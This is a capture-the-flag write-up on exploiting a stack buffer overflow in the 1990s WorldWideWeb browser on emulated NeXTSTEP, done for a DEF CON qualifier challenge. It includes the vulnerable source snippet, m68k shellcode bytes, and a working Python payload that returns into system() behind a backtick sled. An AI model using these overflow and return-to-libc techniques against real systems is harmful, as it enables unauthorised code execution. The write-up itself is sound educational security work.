Try โ€‚โ€‰HackMD

WWW - ๐Ÿœ Signature Dishes - OoOverflow quals

For this challenge, you were required to connect to their server, solve a "proof of work", and understand the data being sent back. Thankfully they provided a POW solver, so that part was only to rate limit your attempts. This is what the connection looked like:

~/dc18$ ncat ddee3e1a.quals2018.oooverflow.io 31337
(Pssst, http://oooverflow.io/pow.py)
Challenge: HZXQVScPk7
n: 26
Solution:

[our input:]19503751

Thank you for solving the pow. You will now enter the queue to connect to the www service. Please be patient, as gettng back in the queue will require you to redo the pow.

Welcome to the pre-alpha web aka 76fc400c68a0e2a33a164a86a1d37be3

What URL would you like this old dog to fetch?

[our input:]http://40.x.x.x

Booting up
[... lots of base64 ...]

Decoding the base64 sent back, they were PNG files! You get some beautiful pictures like the following sequence:

NeXTSTEP boot screen
NeXTSTEP login screen

NeXTSTEP desktop screen

Eventually, the bot will paste your input into the address box of this very very old browser and it'll successfully visit your URL provided previously!

NeXTSTEP paste screen

recon

Right away, a team member noticed that providing http://A*1024 as a url causes their browser application to crash, exiting immediately and not visiting any URL. So after doing some recon the team was able to find an emulator for NeXTSTEP configured by the owner of oldweb.today! This tree also has tars.iso.dmg, which is an archive containing many versions of the browser.

A team member ran md5sum over the extracted archive, and saw that the md5 of one of the WorldWideWeb.app binaries matched the md5sum sent to us in the server's welcome message: 76fc400c68a0e2a33a164a86a1d37be3, which is WorldWideWeb v0.15. Pre-alpha indeed. Well, at least we have source code for it. Let's do some code auditing:

//  Snippet from FileAccess.m
//	For unrecognised types, open in the Workspace:
	
	format = HTFileFormat(filename);
	if (format == WWW_INVALID) {
	        
	    char command[255];			/* Open in the workspace */
	    sprintf(command, "open %s", filename);
	    system(command);
	
	} else {	/* Known format */

Wow! That's totally vulnerable to command injection, right? Well, it turns out that code is only reachable through the file:// handler, and our input is required to start with http:// :frowning:

archaeology

We needed a debugger. There is no compiler. There is no gdb. There is nothing. The browser isn't a viable option to go download one. So, google hard enough and the nice fellows over at Netinch have a pre-compiled version of gdb! We can write this to an ISO, which NextSTEP will auto-mount at the root directory. Figuring out how to extract the .tar.gz involved watching a shakey-cam demo of installing NeXTSTEP apps.

gunzip /tars/gdb.tar.gz > gzip.tar
then, browse to that location and double click it to launch some tar extractor

I think TBL would be glad that the world wide web turned out to be this useful.

hacking

No ASLR, stack seems to change by ~0x200 between a few of our VMs, and the instruction set is motorola 68040. Let's look at the simple crash we get when we enter http:// followed by many As:

GDB, displaying registers and stack at the crash location

So, in that screenshot, we actually entered "http://" + "A"*0x104 + "BCDE", which you can see at the top of the stack. This was occuring at address 0xe200 โ€“ which matches the address of a rts instruction in IDA, if you load up WorldWideWeb.app.

IDA

We planned to return to the stack, but we didn't want to write m68k shellcode. We tried to return to the stack, and branch to the location of the call of system() โ€“ but we found that call was located at 0x00003e64! That means there are two null bytes in the address. Null bytes would ruin our string-based overwrite. So, instead, we could ret to the stack (an address around 0x03fff710) and use shellcode to set up the address we really want to go to (0x00003e64).

"\xd2\xfc\x3e\x64" # adda.w #0x3e64, a1
"\x4e\x91"         # bsr a1

However, that didn't work, and nobody wasted the time to figure out why. Instead, returning directly to system appeared possible.

IDA for the indirect system calll

This code branches to 0x05003128 (yes that's a null), however, inspecting that address in GDB:

Look! It's like a .got.plt thunk!

That's right, it's just a branch to the actual address of the system function โ€“ which contains no nulls. So after we overwrite the return address, we just need to encode the address of the string we want to pass to system() since it's passed via the stack.

now we waste like 6 hours

The stack slightly differs between our individual VMs. So we knew it differed on the remote server. The easy fix to this is to insert the equivalent of a "nop sled" for your argument to system. For example, try running this in your bash prompt:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ls;

That gives you a lot of space to miss the pointer to your ls! However, ; doesn't work as a sled for /bin/sh, the default shell here. We also tried spaces. And some other shit. In the end, grave accent gave us a working sled.

The essence of a working payload looked like:

from pwn import *

# set pwntools to big-endian for m68k
def p32(v):
    return struct.pack(">i",v)

prewin = ";wall flag;"          # if this doesn't work
win = "/usr/bin/open /me/flag;" # maybe this will
# this needs to be "A" because ` before PC overwrite breaks it?
beforepc = "A"*(260-len(prewin)) + prewin#260#(259-len(win))+win
system=0x050307f8
stack_loc = 0x3fffa10

payload = ('http://'+
           beforepc +
           p32(system) +
           p32(system) +
           p32(stack_loc)+ ";"+
           "`"*(0x200-1) +
           win)
print(repr(payload))

full code

wall worked